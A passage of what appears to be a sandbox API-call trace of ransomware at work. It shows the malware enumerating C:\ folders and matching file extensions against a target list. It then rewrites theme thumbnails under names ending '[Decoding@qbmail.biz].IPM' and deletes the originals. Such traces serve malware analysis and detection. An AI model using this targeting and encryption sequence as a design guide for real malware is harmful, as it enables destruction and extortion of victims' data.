[0094.537] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.537] lstrlenW (lpString=".7z") returned 3 [0094.537] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.537] lstrlenW (lpString=".dbf") returned 4 [0094.537] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.537] lstrlenW (lpString=".1cd") returned 4 [0094.538] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.538] lstrlenW (lpString=".jpg") returned 4 [0094.538] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.538] lstrlenW (lpString=".doc") returned 4 [0094.538] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.538] lstrlenW (lpString=".docx") returned 5 [0094.538] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.538] lstrlenW (lpString=".pdf") returned 4 [0094.538] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString=".xls") returned 4 [0094.538] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString=".xlsx") returned 5 [0094.538] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.538] lstrlenW (lpString=".ppt") returned 4 [0094.538] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.538] lstrlenW (lpString=".zip") returned 4 [0094.538] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString=".rar") returned 4 [0094.538] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.538] lstrlenW (lpString=".bz2") returned 4 [0094.538] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.538] lstrlenW (lpString=".7z") returned 3 [0094.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.539] lstrlenW (lpString=".dbf") returned 4 [0094.539] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.539] lstrlenW (lpString=".1cd") returned 4 [0094.539] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0094.539] lstrlenW (lpString=".jpg") returned 4 [0094.539] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.539] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.539] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0095.174] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=20371) returned 1 [0095.175] CloseHandle (hObject=0x1ec) returned 1 [0095.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0095.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0095.175] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0095.175] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0095.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0095.176] GetLastError () returned 0x0 [0095.176] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x4f93, lpOverlapped=0x0) returned 1 [0095.348] WriteFile (in: hFile=0x1cc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0095.349] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0095.349] WriteFile (in: hFile=0x1cc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.350] SetEndOfFile (hFile=0x1cc) returned 1 [0095.350] CloseHandle (hObject=0x1cc) returned 1 [0095.350] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0095.350] SetEndOfFile (hFile=0x1ec) returned 1 [0095.351] CloseHandle (hObject=0x1ec) returned 1 [0095.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0095.352] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0095.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.352] lstrlenW (lpString=".doc") returned 4 [0095.352] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0095.352] lstrlenW (lpString=".docx") returned 5 [0095.352] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0095.352] lstrlenW (lpString=".pdf") returned 4 [0095.352] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0095.352] lstrlenW (lpString=".xls") returned 4 [0095.352] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0095.352] lstrlenW (lpString=".xlsx") returned 5 [0095.352] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0095.352] lstrlenW (lpString=".ppt") returned 4 [0095.352] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0095.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.352] lstrlenW (lpString=".zip") returned 4 [0095.352] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0095.352] lstrlenW (lpString=".rar") returned 4 [0095.352] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0095.352] lstrlenW (lpString=".bz2") returned 4 [0095.352] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0095.352] lstrlenW (lpString=".7z") returned 3 [0095.352] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0095.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.352] lstrlenW (lpString=".dbf") returned 4 [0095.352] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0095.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".1cd") returned 4 [0095.353] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".jpg") returned 4 [0095.353] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".doc") returned 4 [0095.353] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString=".docx") returned 5 [0095.353] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0095.353] lstrlenW (lpString=".pdf") returned 4 [0095.353] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString=".xls") returned 4 [0095.353] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0095.353] lstrlenW (lpString=".xlsx") returned 5 [0095.353] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0095.353] lstrlenW (lpString=".ppt") returned 4 [0095.353] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".zip") returned 4 [0095.353] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0095.353] lstrlenW (lpString=".rar") returned 4 [0095.353] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0095.353] lstrlenW (lpString=".bz2") returned 4 [0095.353] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString=".7z") returned 3 [0095.353] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".dbf") returned 4 [0095.353] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0095.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.353] lstrlenW (lpString=".1cd") returned 4 [0095.354] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0095.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0095.354] lstrlenW (lpString=".jpg") returned 4 [0095.354] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0095.354] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0095.354] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0095.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x4e4 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3880058 [0068.694] lstrlenW (lpString="C:") returned 2 [0068.694] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2eefd00 | out: lpFindFileData=0x2eefd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x628548 [0068.695] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0068.696] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0068.696] lstrlenW (lpString="$Recycle.Bin") returned 12 [0068.696] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3890060 [0068.697] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0068.697] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628588 [0068.697] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.698] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0068.698] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0068.698] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0068.698] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0068.698] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38a1070 [0068.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0068.699] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6285c8 [0068.700] FindNextFileW (in: hFindFile=0x6285c8, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.700] FindNextFileW (in: hFindFile=0x6285c8, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.700] lstrlenW (lpString="desktop.ini") returned 11 [0068.700] lstrlenW (lpString=".1cd") returned 4 [0068.700] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0068.700] lstrlenW (lpString=".3ds") returned 4 [0068.700] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0068.700] lstrlenW (lpString=".3fr") returned 4 [0068.700] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0068.700] lstrlenW (lpString=".3g2") returned 4 [0068.700] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0068.700] lstrlenW (lpString=".3gp") returned 4 [0068.701] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0068.701] lstrlenW (lpString=".7z") returned 3 [0068.701] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0068.701] lstrlenW (lpString=".accda") returned 6 [0068.701] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".accdb") returned 6 [0068.701] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".accdc") returned 6 [0068.701] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".accde") returned 6 [0068.701] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".accdt") returned 6 [0068.701] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".accdw") returned 6 [0068.701] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0068.701] lstrlenW (lpString=".adb") returned 4 [0068.702] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0068.702] lstrlenW (lpString=".adp") returned 4 [0068.704] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0068.704] lstrlenW (lpString=".ai") returned 3 [0068.704] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0068.704] lstrlenW (lpString=".ai3") returned 4 [0068.704] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0068.704] lstrlenW (lpString=".ai4") returned 4 [0068.704] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0068.704] lstrlenW (lpString=".ai5") returned 4 [0068.704] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0068.704] lstrlenW (lpString=".ai6") returned 4 [0068.705] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".ai7") returned 4 [0068.705] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".ai8") returned 4 [0068.705] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".anim") returned 5 [0068.705] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0068.705] lstrlenW (lpString=".arw") returned 4 [0068.705] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".as") returned 3 [0068.705] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0068.705] lstrlenW (lpString=".asa") returned 4 [0068.705] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".asc") returned 4 [0068.705] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0068.705] lstrlenW (lpString=".ascx") returned 5 [0068.705] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0068.706] lstrlenW (lpString=".asm") returned 4 [0068.706] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0068.706] lstrlenW (lpString=".asmx") returned 5 [0068.706] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0068.706] lstrlenW (lpString=".asp") returned 4 [0068.706] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0068.706] lstrlenW (lpString=".aspx") returned 5 [0068.706] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0068.706] lstrlenW (lpString=".asr") returned 4 [0068.706] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0068.706] lstrlenW (lpString=".asx") returned 4 [0068.706] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0068.706] lstrlenW (lpString=".avi") returned 4 [0068.706] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0068.706] lstrlenW (lpString=".avs") returned 4 [0068.706] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".backup") returned 7 [0068.707] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0068.707] lstrlenW (lpString=".bak") returned 4 [0068.707] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".bay") returned 4 [0068.707] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".bd") returned 3 [0068.707] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0068.707] lstrlenW (lpString=".bin") returned 4 [0068.707] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".bmp") returned 4 [0068.707] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".bz2") returned 4 [0068.707] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0068.707] lstrlenW (lpString=".c") returned 2 [0068.707] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0068.707] lstrlenW (lpString=".cdr") returned 4 [0068.708] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".cer") returned 4 [0068.708] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".cf") returned 3 [0068.708] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0068.708] lstrlenW (lpString=".cfc") returned 4 [0068.708] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".cfm") returned 4 [0068.708] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".cfml") returned 5 [0068.708] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0068.708] lstrlenW (lpString=".cfu") returned 4 [0068.708] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".chm") returned 4 [0068.708] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0068.708] lstrlenW (lpString=".cin") returned 4 [0068.709] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".class") returned 6 [0068.709] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0068.709] lstrlenW (lpString=".clx") returned 4 [0068.709] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".config") returned 7 [0068.709] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0068.709] lstrlenW (lpString=".cpp") returned 4 [0068.709] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".cr2") returned 4 [0068.709] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".crt") returned 4 [0068.709] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".crw") returned 4 [0068.709] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0068.709] lstrlenW (lpString=".cs") returned 3 [0068.709] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0068.710] lstrlenW (lpString=".css") returned 4 [0068.710] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".csv") returned 4 [0068.710] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".cub") returned 4 [0068.710] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".dae") returned 4 [0068.710] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".dat") returned 4 [0068.710] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".db") returned 3 [0068.710] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0068.710] lstrlenW (lpString=".dbf") returned 4 [0068.710] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0068.710] lstrlenW (lpString=".dbx") returned 4 [0068.710] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".dc3") returned 4 [0068.711] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".dcm") returned 4 [0068.711] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".dcr") returned 4 [0068.711] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".der") returned 4 [0068.711] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".dib") returned 4 [0068.711] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".dic") returned 4 [0068.711] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0068.711] lstrlenW 